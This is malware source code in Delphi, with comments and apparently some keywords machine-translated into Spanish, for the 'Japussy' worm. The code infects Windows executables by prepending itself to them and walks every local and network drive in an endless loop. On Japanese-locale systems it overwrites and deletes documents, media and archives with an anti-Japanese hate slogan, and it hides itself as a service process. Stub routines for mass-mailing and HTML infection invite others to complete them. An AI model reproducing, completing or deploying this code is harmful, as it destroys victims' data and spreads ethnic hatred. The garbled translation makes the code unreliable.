Código fuente de la tecnología Tom
Programa Japussy
Usos
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.
Constante
HeaderSize = 82432//El tamaño del virus
icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file
p>
//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.
//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.
{
header size = 38912; //El tamaño del cuerpo del virus comprimido Upx
IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.
//Uso de Upx 1.24W: Upx-9-8086 Japussy.exe.
}
IconSize = $2E8//Tamaño del icono principal del archivo PE - 744 bytes
icon tail = desplazamiento del icono+IconSize //Archivo PE principal El cola del icono
ID = $44444444//Marca de infección
//Escribe código basura.
Lema = 'Si hay que destruir una raza, debe ser Yamato'+
Si hay un país que necesita ser destruido, ¡debe ser Japón! "+
*** W32.japussy.worm.a***';
{$R*.RES}
Función RegisterServiceProcess(dwProcessID, dw type:Integer):Integer;
stdcall external "kernel 32. dll"; //Declaración de función
Definir variables
TmpFile:string; p> p>
si:información de inicio;
Pi: información_proceso;
IsJap:Boolean = False; //etiqueta del sistema operativo japonés
{ Determinar si es Win9x}
La función es win9x:Boolean;
Definir variables
ver:TOSVersionInfo;
Iniciar p>
Resultado:=False;
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
Si no es GetVersionEx(Ver), entonces
Salir;
si (ver . dwplatformid = VER _Platform_WIN32_WINDOWS) entonces //Win9x
Resultado:=True;
Fin;
{Copiar entre secuencias}
Procedimiento copiar secuencia(Src: TStream; sStartPos: entero; dst: TStream;
dStartPos: entero; recuento: entero
<); p>Definir variablessCurPos, dCurPos: entero;
Inicio
sCurPos:= Posición Src;
dCurPos:= Dst. Posición;
Src.Buscar(sStartPos, 0);
Horario de verano. Src.
Seek(sCurPos, 0);
Horario de verano. Seek(dCurPos, 0);
End;
{Separe los archivos host de los archivos PE infectados}
Procesar ExtractFile(filename:char String); p>
Definir variables
sStream, dStream:TFileStream;
Iniciar
Probar
sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
Prueba
dStream := TFileStream. Crear(nombre de archivo, fm create);
Pruebe
transmitir. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado
dStream. CopyFrom(sStream, sStream.size-header size);
Finalmente
dStream. Gratis;
Fin;
Final
Transmisión. Gratis;
Fin;
Excepto...
Fin;
Fin;
{ Rellenar STARTUPINFO estructura}
Proceso FillStartupInfo(var Si:información de inicio; estado:Word);
Inicio
Si CB:= SizeOf(Si); p>
si .LP reservado:= nil;
si lpdesktop:= nil
si . .dw banderas:= STARTF _ USESHOWWINDOW;
si .wshowindow:= Estado
si . := nil;
Fin;
{Enviar correo electrónico venenoso}
El proceso SendMail
Iniciar
//¿Quién quiere completarlo? ¡Tom está muy agradecido!
Fin;
{Archivo PE infectado}
Procesar InfectOneFile(nombre de archivo: cadena);
Definir variables
HdrStream, SrcStream:TFileStream;
IcoStream, dst stream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
p>
Infectado, IsPE:Booleano;
I: Entero;
Buf: Char of array[0..1]
Inicio
p>
Intenta //Error, el archivo está en uso, sal.
Si comparetext(filename,'japussy.exe') = 0 entonces //si eres tú mismo, no estarás infectado.
Salir;
Infectado:= Falso;
IsPE:= Falso;
SrcStream:= TFileStream. Create(filename, fmOpenRead);
Intente
Para i := 0 a $108, verifique el encabezado del archivo PE.
Iniciar
SrcStream. Buscar(i,sofrombinging);
SrcStream.
Read(Buf, 2);
Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE
Inicio
IsPE:= True; //Es un archivo PE.
Romper;
Fin
Fin
SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección
SrcStream. Cambie a (iID, 4);
Si (iID = ID) o (SrcStream. size & lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.
Infectado:= Verdadero
Último
SrcStream. Gratis;
Fin;
Si está infectado o (no es IsPE), entonces // Si el archivo PE está infectado o no, sale.
Salir;
IcoStream := TMemoryStream. Crear;
DstStream := TMemoryStream. Crear;
Prueba
aIcon := TIcon. Crear;
Probar
//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.
Aikang. Manija de liberación;
Aikang. Identificador := ExtractIcon(HInstance, PChar(FileName), 0
Aikang. SaveToStream(IcoStream);
Finalmente
IcoStream. Gratis;
Fin;
SrcStream := TFileStream. Create(filename, fmOpenRead);
//Archivo de encabezado
HdrStream := TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
Probar
//Escribir datos antes del icono principal del virus.
CopyStream(HdrStream, 0, DstStream, 0, icon offset);
//Escribe el icono principal del programa actual.
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe los datos del icono principal del virus en la cola del virus.
CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);
//Escribir en el programa host
CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);
//Escribir bandera infectada
DstStream. Buscar(0, 2);
iID:= $4444444;
DstStream. Write(iID, 4);
Finalmente
HdrStream. Gratis;
Fin;
Finalmente
SrcStream. Gratis;
IcoStream. Gratis;
DstStream. SaveToFile(filename); //Reemplazar el archivo host
DstStream.
Gratis
Fin
Excepto;
Fin
Fin
{Escribe el archivo de destino; Eliminar spam después de ingresarlo}
Procedimiento SmashFile (nombre de archivo: cadena);
Definir variables
FileHandle: entero;
I , Tamaño, Masa, Máx., Longitud: entero;
Iniciar
Probar
setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo
FileHandle := FileOpen(filename, fmOpenWrite); //Abrir archivo
Probar
Tamaño := GetFileSize(FileHandle, nil ); Tamaño del archivo
I:= 0;
Aleatorización;
max:= Random(15); //Aleatorio para escribir código basura Veces
Si Max & lt entonces 5
max:= 5;
mass:= Size div Max //El tamaño de cada bloque de intervalo
Len := Longitud(eslogan);
Y<Max·Do
Iniciar
FileSeek(FileHandle, i * Mass, 0 //Posicionamiento); p>
//Escribe código basura para destruir completamente el archivo.
FileWrite(FileHandle, Catchword, Len);
Inc(1);
Fin
Finalmente
<; p>file close(file handle); //Cerrar el archivoFin;
DeleteFile(PChar(nombre de archivo)); //Eliminarlo
Eliminar...fuera
End;
End;
{Obtener la lista de unidades grabables}
Función obtener unidades:cadena
Definir variables
tipo de disco:Word;
d:Char;
Str: cadena;
I: entero;
Inicio
Para i := 0 a 25, haz // Atraviesa 26 letras.
Inicio
d:= Chr(I+65);
str:= D+':\ ';
tipo de disco := obtener tipo de unidad(PChar(Str));
//Obtener disco local y disco de red.
Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado:=resultado+D;
Fin;
Fin;
{Atravesar directorios, infectar y destruir archivos}
Procesar LoopFiles(ruta, máscara: cadena);
Definir variables
I, recuento: entero;
Fn, Ext: cadena;
SubDir: t cadenas
búsqueda rec: TSearchRec
msg:TMsg;
la función es validir(search rec:TSearchRec):Integer;
Iniciar
if (SearchRec.Attr & lt& gt16) y ( SearchRec. nombre<& gt'.') y
(SearchRec.
nombre<& gt'..') luego
Resultado:= 0 //No es un directorio.
de lo contrario, si (SearchRec.Attr = 16) y (SearchRec.Name<& gt'.') y
(SearchRec.Name<>'..') entonces
Resultado:= 1 //No es el directorio raíz.
else resultado:= 2; // es el directorio raíz.
Fin;
Inicio
si (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) entonces
Inicio p> p>
Repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.
Si IsValidDir(SearchRec) = 0, entonces
Inicio
Fn:= Ruta + SearchRec. Nombre;
Ext := Mayúscula (ExtractFileExt(Fn));
si (Ext = '.EXE ') o (Ext = '.SCR ') entonces
Inicio
Archivo de infección (Fn); //Archivo ejecutable infectado
Fin
else if (Ext = '.HTM') O (Ext = '.HTML ') o (Ext = '.ASP ') luego
Iniciar
//Infectar archivos HTML y ASP y escribir el virus codificado en Base64.
//Infecta a todos los usuarios que naveguen por esta página, ¡esta es mi favorita!
//¿Qué jefe está dispuesto a completarlo? ¡Tom está muy agradecido!
Fin
De lo contrario, si Ext = '. //Archivo de libreta de direcciones de Outlook actual de WAB
Inicio
//Obtener dirección de correo electrónico de Outlook
Fin
De lo contrario, si Ext = '. ADC y luego //Archivo de autocompletar dirección de Foxmail.
Inicio
//Obtener dirección de correo electrónico de Foxmail
Fin
De lo contrario, si Ext = 'IND' entonces //Archivo de libreta de direcciones de Foxmail
Inicio
//Obtener dirección de correo electrónico de Foxmail
Fin
Otros
Inicio
Si es IsJap entonces // es un sistema operativo japonés.
Iniciar
si (Ext = '.DOC ') o (Ext = '.XLS ') o (Ext = '.MDB ') o
(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o
(Ext = '.WMA') o (Ext = '.ZIP' ) o (Ext = '.RAR') o
(Ext = '.MPEG ') o (Ext = '.ASF ') o (Ext = '.JPG') o
(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o
(Ext = '.PDF') o (Ext = '. CHM ') o (Ext = '.AVI) luego
smash file(Fn); // Destruye el archivo
End;
End; p >
Fin;
//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por el uso elevado de la CPU.
Dormir(200);
Hasta (BuscarSiguiente(búsqueda rec)<>0);
Fin;
BuscarCerrar (buscar rec);
SubDir := TStringList. Crear;
si (FindFirst(Path + '*.*, faDirectory, SearchRec) = 0) entonces
Iniciar
Repetir
Si IsValidDir(SearchRec) = 1, entonces
SubDir. Agregar(SearchRec.Name);
Hasta(FindNext(search rec)<>0);
Fin;
FindClose(search rec ); p>
Contar := SubDir. count-1;
Para i := 0 para contar hacer
Archivo de bucle (ruta + subdir. cadena + '\ ', máscara
FreeAndNil); (SubDir);
Fin;
{Recorrer todos los archivos en el disco}
Procesar archivo de infección;
Variables de definición
lista de controladores: cadena;
I, Len: entero;
Inicio
Si GetACP = 932, entonces // Sistema operativo japonés p>
IsJap:= True; //¡Vete al infierno!
lista de controladores:= obtener unidades; //Obtener la lista de discos grabables
len:= Longitud(lista de controladores);
Mientras sea Verdadero, //Ilimitado Bucle
Inicio
For i := Len downto 1 do //Repita cada unidad de disco.
LoopFiles(DriverList + ':\ ', ' *.*');//Infectado
SendMail//Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); //Dormir durante 5 minutos
Fin;
Fin;
{Se inicia el programa principal}
Inicio
Si es Win9x entonces // es Win9x.
RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.
else //WinNT
Inicio
//El subproceso remoto se asigna al proceso del administrador de recursos.
//¿Qué hermano está dispuesto a completarlo? ¡Tom está muy agradecido!
Fin;
//Si es el virus original.
Si se compara texto(extraer nombre de archivo(ParamStr(0)),'Japussy.exe' ) = 0, entonces
Archivos de infección //Infección y correos electrónicos
De lo contrario //Ha parasitado el programa host y ha comenzado a funcionar.
Inicio
TmpFile:= ParamStr(0); //Crea un archivo temporal
Delete(TmpFile, Longitud(TmpFile) - 4, 4);
ArchivoTmp := ArchivoTmp + #32 +'. exe '; // Archivo host real, un espacio más.
extraer archivo(TmpFile); //Separarlo
FillStartupInfo(Si, SW_show default);
CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, True,
0, zero, '.', Si, Pi); // Crea un nuevo proceso para ejecutar.
InfectFiles//Infecciones y Correos Electrónicos
Fin;
Fin